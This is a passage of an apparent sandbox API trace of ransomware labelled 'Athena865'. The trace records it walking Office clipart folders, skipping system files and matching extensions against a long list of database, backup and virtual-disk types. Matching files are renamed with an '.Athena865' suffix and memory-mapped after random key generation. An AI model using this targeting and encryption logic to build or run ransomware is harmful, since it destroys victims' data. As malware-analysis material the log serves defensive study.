[0129.113] lstrlenW (lpString="odb") returned 3 [0129.113] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0129.114] lstrlenW (lpString="oqy") returned 3 [0129.114] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0129.114] lstrlenW (lpString="ora") returned 3 [0129.114] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0129.114] lstrlenW (lpString="orx") returned 3 [0129.114] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0129.114] lstrlenW (lpString="owc") returned 3 [0129.114] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0129.114] lstrlenW (lpString="p96") returned 3 [0129.114] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0129.114] lstrlenW (lpString="p97") returned 3 [0129.114] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0129.114] lstrlenW (lpString="pan") returned 3 [0129.114] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0129.114] lstrlenW (lpString="pdb") returned 3 [0129.114] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0129.114] lstrlenW (lpString="pdm") returned 3 [0129.114] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0129.114] lstrlenW (lpString="pnz") returned 3 [0129.114] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0129.114] lstrlenW (lpString="qry") returned 3 [0129.114] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0129.114] lstrlenW (lpString="qvd") returned 3 [0129.114] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0129.114] lstrlenW (lpString="rbf") returned 3 [0129.114] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0129.114] lstrlenW (lpString="rctd") returned 4 [0129.114] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0129.115] lstrlenW (lpString="rod") returned 3 [0129.115] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0129.115] lstrlenW (lpString="rodx") returned 4 [0129.115] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0129.115] lstrlenW (lpString="rpd") returned 3 [0129.115] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0129.115] lstrlenW (lpString="rsd") returned 3 [0129.115] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0129.115] lstrlenW (lpString="sas7bdat") returned 8 [0129.115] lstrcmpiW (lpString1="0189.WMF", lpString2="sas7bdat") returned -1 [0129.115] lstrlenW (lpString="sbf") returned 3 [0129.115] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0129.115] lstrlenW (lpString="scx") returned 3 [0129.115] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0129.115] lstrlenW (lpString="sdb") returned 3 [0129.115] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0129.115] lstrlenW (lpString="sdc") returned 3 [0129.115] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0129.115] lstrlenW (lpString="sdf") returned 3 [0129.115] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0129.115] lstrlenW (lpString="sis") returned 3 [0129.115] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0129.115] lstrlenW (lpString="spq") returned 3 [0129.115] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0129.115] lstrlenW (lpString="te") returned 2 [0129.115] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0129.115] lstrlenW (lpString="teacher") returned 7 [0129.115] lstrcmpiW (lpString1="189.WMF", lpString2="teacher") returned -1 [0129.116] lstrlenW (lpString="tmd") returned 3 [0129.116] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0129.116] lstrlenW (lpString="tps") returned 3 [0129.116] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0129.116] lstrlenW (lpString="trc") returned 3 [0129.116] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0129.116] lstrlenW (lpString="trc") returned 3 [0129.116] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0129.116] lstrlenW (lpString="trm") returned 3 [0129.116] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0129.116] lstrlenW (lpString="udb") returned 3 [0129.116] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0129.116] lstrlenW (lpString="udl") returned 3 [0129.116] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0129.116] lstrlenW (lpString="usr") returned 3 [0129.116] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0129.116] lstrlenW (lpString="v12") returned 3 [0129.116] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0129.116] lstrlenW (lpString="vis") returned 3 [0129.116] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0129.116] lstrlenW (lpString="vpd") returned 3 [0129.116] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0129.116] lstrlenW (lpString="vvv") returned 3 [0129.116] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0129.116] lstrlenW (lpString="wdb") returned 3 [0129.116] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0129.116] lstrlenW (lpString="wmdb") returned 4 [0129.116] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0129.117] lstrlenW (lpString="wrk") returned 3 [0129.117] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0129.117] lstrlenW (lpString="xdb") returned 3 [0129.117] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0129.117] lstrlenW (lpString="xld") returned 3 [0129.117] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0129.117] lstrlenW (lpString="xmlff") returned 5 [0129.117] lstrcmpiW (lpString1="9.WMF", lpString2="xmlff") returned -1 [0129.117] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF.Athena865") returned 73 [0129.117] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf.athena865"), dwFlags=0x1) returned 1 [0129.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.118] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3524) returned 1 [0129.118] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.118] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.118] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.119] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.119] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.119] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.120] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10d0, lpName=0x0) returned 0x154 [0129.127] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10d0) returned 0x100000 [0129.128] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.129] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.129] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.130] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.130] CloseHandle (hObject=0x154) returned 1 [0129.130] CloseHandle (hObject=0x17c) returned 1 [0129.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.130] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1476, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0240291.WMF", cAlternateFileName="")) returned 1 [0129.130] lstrcmpiW (lpString1="J0240291.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.130] lstrcmpiW (lpString1="J0240291.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.130] lstrcmpiW (lpString1="J0240291.WMF", lpString2=".") returned 1 [0129.130] lstrcmpiW (lpString1="J0240291.WMF", lpString2="..") returned 1 [0129.130] lstrcmpiW (lpString1="J0240291.WMF", lpString2="windows") returned -1 [0129.130] lstrcmpiW (lpString1="J0240291.WMF", lpString2="bootmgr") returned 1 [0129.130] lstrcmpiW (lpString1="J0240291.WMF", lpString2="temp") returned -1 [0129.130] lstrcmpiW (lpString1="J0240291.WMF", lpString2="pagefile.sys") returned -1 [0129.130] lstrcmpiW (lpString1="J0240291.WMF", lpString2="boot") returned 1 [0129.130] lstrcmpiW (lpString1="J0240291.WMF", lpString2="ids.txt") returned 1 [0129.131] lstrcmpiW (lpString1="J0240291.WMF", lpString2="ntuser.dat") returned -1 [0129.131] lstrcmpiW (lpString1="J0240291.WMF", lpString2="perflogs") returned -1 [0129.131] lstrcmpiW (lpString1="J0240291.WMF", lpString2="MSBuild") returned -1 [0129.131] lstrlenW (lpString="J0240291.WMF") returned 12 [0129.131] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0240291.WMF" | out: lpString1="J0240291.WMF") returned="J0240291.WMF" [0129.131] lstrlenW (lpString="J0240291.WMF") returned 12 [0129.131] lstrlenW (lpString="Athena865") returned 9 [0129.131] lstrcmpiW (lpString1="40291.WMF", lpString2="Athena865") returned -1 [0129.131] lstrlenW (lpString=".dll") returned 4 [0129.131] lstrcmpiW (lpString1="J0240291.WMF", lpString2=".dll") returned 1 [0129.131] lstrlenW (lpString=".lnk") returned 4 [0129.131] lstrcmpiW (lpString1="J0240291.WMF", lpString2=".lnk") returned 1 [0129.131] lstrlenW (lpString=".ini") returned 4 [0129.131] lstrcmpiW (lpString1="J0240291.WMF", lpString2=".ini") returned 1 [0129.131] lstrlenW (lpString=".sys") returned 4 [0129.131] lstrcmpiW (lpString1="J0240291.WMF", lpString2=".sys") returned 1 [0129.131] lstrlenW (lpString="J0240291.WMF") returned 12 [0129.131] lstrlenW (lpString="bak") returned 3 [0129.131] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0129.131] lstrlenW (lpString="ba_") returned 3 [0129.131] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0129.131] lstrlenW (lpString="dbb") returned 3 [0129.131] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0129.131] lstrlenW (lpString="vmdk") returned 4 [0129.131] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0129.131] lstrlenW (lpString="rar") returned 3 [0129.131] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0129.131] lstrlenW (lpString="zip") returned 3 [0129.131] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0129.132] lstrlenW (lpString="tgz") returned 3 [0129.132] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0129.132] lstrlenW (lpString="vbox") returned 4 [0129.132] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0129.132] lstrlenW (lpString="vdi") returned 3 [0129.132] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0129.132] lstrlenW (lpString="vhd") returned 3 [0129.132] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0129.132] lstrlenW (lpString="vhdx") returned 4 [0129.132] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0129.132] lstrlenW (lpString="avhd") returned 4 [0129.132] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0129.132] lstrlenW (lpString="db") returned 2 [0129.132] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0129.132] lstrlenW (lpString="db2") returned 3 [0129.132] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0129.132] lstrlenW (lpString="db3") returned 3 [0129.132] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0129.132] lstrlenW (lpString="dbf") returned 3 [0129.132] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0129.132] lstrlenW (lpString="mdf") returned 3 [0129.132] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0129.132] lstrlenW (lpString="mdb") returned 3 [0129.132] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0129.132] lstrlenW (lpString="sql") returned 3 [0129.132] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0129.132] lstrlenW (lpString="sqlite") returned 6 [0129.133] lstrcmpiW (lpString1="91.WMF", lpString2="sqlite") returned -1 [0129.133] lstrlenW (lpString="sqlite3") returned 7 [0129.133] lstrcmpiW (lpString1="291.WMF", lpString2="sqlite3") returned -1 [0129.133] lstrlenW (lpString="sqlitedb") returned 8 [0129.133] lstrcmpiW (lpString1="0291.WMF", lpString2="sqlitedb") returned -1 [0129.133] lstrlenW (lpString="xml") returned 3 [0129.133] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0129.133] lstrlenW (lpString="$er") returned 3 [0129.133] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0129.133] lstrlenW (lpString="4dd") returned 3 [0129.133] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0129.133] lstrlenW (lpString="4dl") returned 3 [0129.133] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0129.133] lstrlenW (lpString="^^^") returned 3 [0129.133] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0129.133] lstrlenW (lpString="abs") returned 3 [0129.133] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0129.133] lstrlenW (lpString="abx") returned 3 [0129.133] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0129.133] lstrlenW (lpString="accdb") returned 5 [0129.133] lstrcmpiW (lpString1="1.WMF", lpString2="accdb") returned -1 [0129.133] lstrlenW (lpString="accdc") returned 5 [0129.133] lstrcmpiW (lpString1="1.WMF", lpString2="accdc") returned -1 [0129.133] lstrlenW (lpString="accde") returned 5 [0129.133] lstrcmpiW (lpString1="1.WMF", lpString2="accde") returned -1 [0129.133] lstrlenW (lpString="accdr") returned 5 [0129.133] lstrcmpiW (lpString1="1.WMF", lpString2="accdr") returned -1 [0129.133] lstrlenW (lpString="accdt") returned 5 [0129.134] lstrcmpiW (lpString1="1.WMF", lpString2="accdt") returned -1 [0129.134] lstrlenW (lpString="accdw") returned 5 [0129.134] lstrcmpiW (lpString1="1.WMF", lpString2="accdw") returned -1 [0129.134] lstrlenW (lpString="accft") returned 5 [0129.134] lstrcmpiW (lpString1="1.WMF", lpString2="accft") returned -1 [0129.134] lstrlenW (lpString="adb") returned 3 [0129.134] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.134] lstrlenW (lpString="adb") returned 3 [0129.134] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.134] lstrlenW (lpString="ade") returned 3 [0129.134] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0129.134] lstrlenW (lpString="adf") returned 3 [0129.134] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0129.134] lstrlenW (lpString="adn") returned 3 [0129.134] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0129.134] lstrlenW (lpString="adp") returned 3 [0129.134] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0129.134] lstrlenW (lpString="alf") returned 3 [0129.134] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0129.134] lstrlenW (lpString="ask") returned 3 [0129.134] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0129.134] lstrlenW (lpString="btr") returned 3 [0129.134] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0129.134] lstrlenW (lpString="cat") returned 3 [0129.134] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0129.134] lstrlenW (lpString="cdb") returned 3 [0129.134] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0129.134] lstrlenW (lpString="ckp") returned 3 [0129.135] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0129.135] lstrlenW (lpString="cma") returned 3 [0129.135] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0129.135] lstrlenW (lpString="cpd") returned 3 [0129.135] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0129.135] lstrlenW (lpString="dacpac") returned 6 [0129.135] lstrcmpiW (lpString1="91.WMF", lpString2="dacpac") returned -1 [0129.135] lstrlenW (lpString="dad") returned 3 [0129.135] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0129.135] lstrlenW (lpString="dadiagrams") returned 10 [0129.135] lstrcmpiW (lpString1="240291.WMF", lpString2="dadiagrams") returned -1 [0129.135] lstrlenW (lpString="daschema") returned 8 [0129.135] lstrcmpiW (lpString1="0291.WMF", lpString2="daschema") returned -1 [0129.135] lstrlenW (lpString="db-journal") returned 10 [0129.135] lstrcmpiW (lpString1="240291.WMF", lpString2="db-journal") returned -1 [0129.135] lstrlenW (lpString="db-shm") returned 6 [0129.135] lstrcmpiW (lpString1="91.WMF", lpString2="db-shm") returned -1 [0129.135] lstrlenW (lpString="db-wal") returned 6 [0129.135] lstrcmpiW (lpString1="91.WMF", lpString2="db-wal") returned -1 [0129.135] lstrlenW (lpString="dbc") returned 3 [0129.135] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0129.135] lstrlenW (lpString="dbs") returned 3 [0129.135] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0129.135] lstrlenW (lpString="dbt") returned 3 [0129.135] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0129.135] lstrlenW (lpString="dbv") returned 3 [0129.135] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0129.135] lstrlenW (lpString="dbx") returned 3 [0129.135] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0129.136] lstrlenW (lpString="dcb") returned 3 [0129.136] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0129.136] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0129.136] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF.Athena865") returned 73 [0129.136] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf.athena865"), dwFlags=0x1) returned 1 [0129.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.138] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5238) returned 1 [0129.138] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.138] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.138] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.138] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.139] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.139] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.139] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1780, lpName=0x0) returned 0x154 [0129.141] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1780) returned 0x100000 [0129.141] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.142] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.142] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.143] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.143] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.143] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.143] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.143] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.143] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.143] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.143] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.143] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.143] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.143] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.143] CloseHandle (hObject=0x154) returned 1 [0129.143] CloseHandle (hObject=0x17c) returned 1 [0129.144] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.144] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.144] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.144] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90da9400, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90da9400, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x92e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0241019.WMF", cAlternateFileName="")) returned 1 [0129.144] lstrcmpiW (lpString1="J0241019.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.144] lstrcmpiW (lpString1="J0241019.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.144] lstrcmpiW (lpString1="J0241019.WMF", lpString2=".") returned 1 [0129.144] lstrcmpiW (lpString1="J0241019.WMF", lpString2="..") returned 1 [0129.144] lstrcmpiW (lpString1="J0241019.WMF", lpString2="windows") returned -1 [0129.144] lstrcmpiW (lpString1="J0241019.WMF", lpString2="bootmgr") returned 1 [0129.144] lstrcmpiW (lpString1="J0241019.WMF", lpString2="temp") returned -1 [0129.144] lstrcmpiW (lpString1="J0241019.WMF", lpString2="pagefile.sys") returned -1 [0129.144] lstrcmpiW (lpString1="J0241019.WMF", lpString2="boot") returned 1 [0129.144] lstrcmpiW (lpString1="J0241019.WMF", lpString2="ids.txt") returned 1 [0129.144] lstrcmpiW (lpString1="J0241019.WMF", lpString2="ntuser.dat") returned -1 [0129.144] lstrcmpiW (lpString1="J0241019.WMF", lpString2="perflogs") returned -1 [0129.144] lstrcmpiW (lpString1="J0241019.WMF", lpString2="MSBuild") returned -1 [0129.144] lstrlenW (lpString="J0241019.WMF") returned 12 [0129.144] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0241019.WMF" | out: lpString1="J0241019.WMF") returned="J0241019.WMF" [0129.144] lstrlenW (lpString="J0241019.WMF") returned 12 [0129.144] lstrlenW (lpString="Athena865") returned 9 [0129.145] lstrcmpiW (lpString1="41019.WMF", lpString2="Athena865") returned -1 [0129.145] lstrlenW (lpString=".dll") returned 4 [0129.145] lstrcmpiW (lpString1="J0241019.WMF", lpString2=".dll") returned 1 [0129.145] lstrlenW (lpString=".lnk") returned 4 [0129.145] lstrcmpiW (lpString1="J0241019.WMF", lpString2=".lnk") returned 1 [0129.145] lstrlenW (lpString=".ini") returned 4 [0129.145] lstrcmpiW (lpString1="J0241019.WMF", lpString2=".ini") returned 1 [0129.145] lstrlenW (lpString=".sys") returned 4 [0129.145] lstrcmpiW (lpString1="J0241019.WMF", lpString2=".sys") returned 1 [0129.145] lstrlenW (lpString="J0241019.WMF") returned 12 [0129.145] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF.Athena865") returned 73 [0129.145] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf.athena865"), dwFlags=0x1) returned 1 [0129.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, 